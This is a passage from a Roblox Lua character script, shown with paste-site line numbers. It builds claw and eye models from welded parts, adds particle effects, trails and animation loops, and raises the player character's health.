Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2940
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2941
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2942
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2943
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2944
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2945
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2946
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2947
2948
local modelzorzz2=Instance.new("Model") 
2949
modelzorzz2.Parent=Character 
2950
modelzorzz2.Name="Claw2"
2951
2952
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
2953
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2954
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2955
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2956
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2957
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2958
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2959
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2960
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2961
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2962
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2963
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2964
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2965
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2966
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2967
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2968
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2969
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2970
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2971
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2972
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2973
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2974
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2975
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2976
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2977
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2978
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2979
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2980
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2981
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2982
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2983
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2984
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2985
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2986
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2987
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2988
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2989
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2990
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2991
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2992
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2993
2994
local modelzorzz3=Instance.new("Model") 
2995
modelzorzz3.Parent=Character 
2996
modelzorzz3.Name="Eye"
2997
2998
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2999
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
3000
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
3001
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3002
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3003
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
3004
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3005
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3006
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
3007
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
3008
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3009
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
3010
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
3011
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3012
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
3013
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3014
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
3015
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3016
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3017
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3018
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
3019
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3020
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
3021
3022
p = game.Players.LocalPlayer
3023
char = p.Character
3024
torso = char.Torso
3025
neck = char.Torso.Neck
3026
hum = char.Humanoid
3027
hum.MaxHealth = 1527500
3028
wait()
3029
hum.Health =hum.MaxHealth
3030
3031
local particleemitter = Instance.new("ParticleEmitter", Handle)
3032
particleemitter.VelocitySpread = 180
3033
particleemitter.Lifetime = NumberRange.new(0.1)
3034
particleemitter.Speed = NumberRange.new(2)
3035
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3036
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3037
particleemitter.Rate = 100
3038
particleemitter.Rotation = NumberRange.new(-45, 45)
3039
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3040
particleemitter.LightEmission = 0.8
3041
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3042
3043
local particleemitter = Instance.new("ParticleEmitter", Handle2)
3044
particleemitter.VelocitySpread = 180
3045
particleemitter.Lifetime = NumberRange.new(0.1)
3046
particleemitter.Speed = NumberRange.new(2)
3047
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3048
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3049
particleemitter.Rate = 100
3050
particleemitter.Rotation = NumberRange.new(-45, 45)
3051
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3052
particleemitter.LightEmission = 0.8
3053
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3054
3055
local particleemitter = Instance.new("ParticleEmitter", handle)
3056
particleemitter.VelocitySpread = 180
3057
particleemitter.Lifetime = NumberRange.new(0.1)
3058
particleemitter.Speed = NumberRange.new(2)
3059
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
3060
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3061
particleemitter.Rate = 100
3062
particleemitter.Rotation = NumberRange.new(-45, 45)
3063
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3064
particleemitter.LightEmission = 0.8
3065
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3066
3067
particleemitter.Enabled = true
3068
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
3069
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
3070
    so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
3071
    so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
3072
    for i=0,1,0.005 do
3073
        swait()
3074
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3075
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3076
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3077
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3078
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3079
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3080
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3081
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3082
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3083
    end
3084
    for i=0,1,0.04 do
3085
        swait()
3086
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3087
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3088
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3089
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3090
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3091
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3092
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3093
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3094
    end
3095
attack = false
3096
end
3097
end
3098
end)
3099
3100
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3101
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3102
prt.Anchored=true
3103
prt.CFrame=cframe
3104
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
3105
game:GetService("Debris"):AddItem(prt,2)
3106
coroutine.resume(coroutine.create(function(Part,Mesh) 
3107
for i=0,1,delay do
3108
wait()
3109
Part.CFrame=Part.CFrame
3110
Part.Transparency=i
3111
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3112
end
3113
Part.Parent=nil
3114
end),prt,msh)
3115
end
3116
3117
TrailDeb = false
3118
3119
function equipanim()
3120
    attack=true
3121
    Humanoid.WalkSpeed = 0
3122
    if TrailDeb == false then
3123
							TrailDeb = true
3124
						end
3125
3126
						
3127
coroutine.wrap(function()
3128
local Old = handle.CFrame.p
3129
while wait()do
3130
if not TrailDeb then break end
3131
local New = handle.CFrame.p
3132
local Mag =(Old -New).magnitude
3133
local Dis =(Old +New)/2
3134
local Trail = Instance.new("Part",Character)
3135
Trail.Material = "Neon"
3136
Trail.Anchored = true
3137
Trail.CanCollide = false
3138
Trail.BrickColor = TorsoColor
3139
Trail.Size = Vector3.new(0.2,Mag,0.2)
3140
Trail.TopSurface = 0
3141
Trail.BottomSurface = 0
3142
Trail.formFactor = "Custom"
3143
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3144
local ms = Instance.new("BlockMesh",Trail)
3145
ms.Scale = Vector3.new(1,1,1)
3146
local TM = Instance.new("CylinderMesh",Trail)
3147
TM.Scale = Vector3.new(1,1,1)
3148
Old = New
3149
coroutine.wrap(function()
3150
for i = 1,0,-0.1 do
3151
wait()
3152
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3153
end
3154
Trail:remove()
3155
end)()
3156
coroutine.wrap(function()
3157
for i = 1,10 do
3158
wait()
3159
Trail.Transparency = Trail.Transparency +0.1
3160
end end)()end end)()
3161
coroutine.wrap(function()
3162
local Old = Handle.CFrame.p
3163
while wait()do
3164
if not TrailDeb then break end
3165
local New = Handle.CFrame.p
3166
local Mag =(Old -New).magnitude
3167
local Dis =(Old +New)/2
3168
local Trail = Instance.new("Part",Character)
3169
Trail.Material = "Neon"
3170
Trail.Anchored = true
3171
Trail.CanCollide = false
3172
Trail.BrickColor = TorsoColor
3173
Trail.Size = Vector3.new(0.2,Mag,0.2)
3174
Trail.TopSurface = 0
3175
Trail.BottomSurface = 0
3176
Trail.formFactor = "Custom"
3177
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3178
local ms = Instance.new("BlockMesh",Trail)
3179
ms.Scale = Vector3.new(1,1,1)
3180
local TM = Instance.new("CylinderMesh",Trail)
3181
TM.Scale = Vector3.new(1,1,1)
3182
Old = New
3183
coroutine.wrap(function()
3184
for i = 1,0,-0.1 do
3185
wait()
3186
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3187
end
3188
Trail:remove()
3189
end)()
3190
coroutine.wrap(function()
3191
for i = 1,10 do
3192
wait()
3193
Trail.Transparency = Trail.Transparency +0.1
3194
end end)()end end)()
3195
coroutine.wrap(function()
3196
local Old = Handle2.CFrame.p
3197
while wait()do
3198
if not TrailDeb then break end
3199
local New = Handle2.CFrame.p
3200
local Mag =(Old -New).magnitude
3201
local Dis =(Old +New)/2
3202
local Trail = Instance.new("Part",Character)
3203
Trail.Material = "Neon"
3204
Trail.Anchored = true
3205
Trail.CanCollide = false
3206
Trail.BrickColor = TorsoColor
3207
Trail.Size = Vector3.new(0.2,Mag,0.2)
3208
Trail.TopSurface = 0
3209
Trail.BottomSurface = 0
3210
Trail.formFactor = "Custom"
3211
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3212
local ms = Instance.new("BlockMesh",Trail)
3213
ms.Scale = Vector3.new(1,1,1)
3214
local TM = Instance.new("CylinderMesh",Trail)
3215
TM.Scale = Vector3.new(1,1,1)
3216
Old = New
3217
coroutine.wrap(function()
3218
for i = 1,0,-0.1 do
3219
wait()
3220
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3221
end
3222
Trail:remove()
3223
end)()
3224
coroutine.wrap(function()
3225
for i = 1,10 do
3226
wait()
3227
Trail.Transparency = Trail.Transparency +0.1
3228
end end)()end end)()
3229
    so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) 
3230
    for i=0,1,0.005 do
3231
        swait()
3232
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
3233
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3234
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3235
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3236
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3237
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3238
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3239
    end
3240
    for i=0,1,0.005 do
3241
        swait()
3242
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
3243
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3244
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3245
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3246
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3247
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3248
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3249
    end
3250
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3251
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3252
    for i=0,1,0.005 do
3253
        swait()
3254
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3255
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3256
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3257
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3258
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3259
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3260
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3261
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3262
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3263
    end
3264
    for i=0,1,0.04 do
3265
        swait()
3266
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3267
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3268
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3269
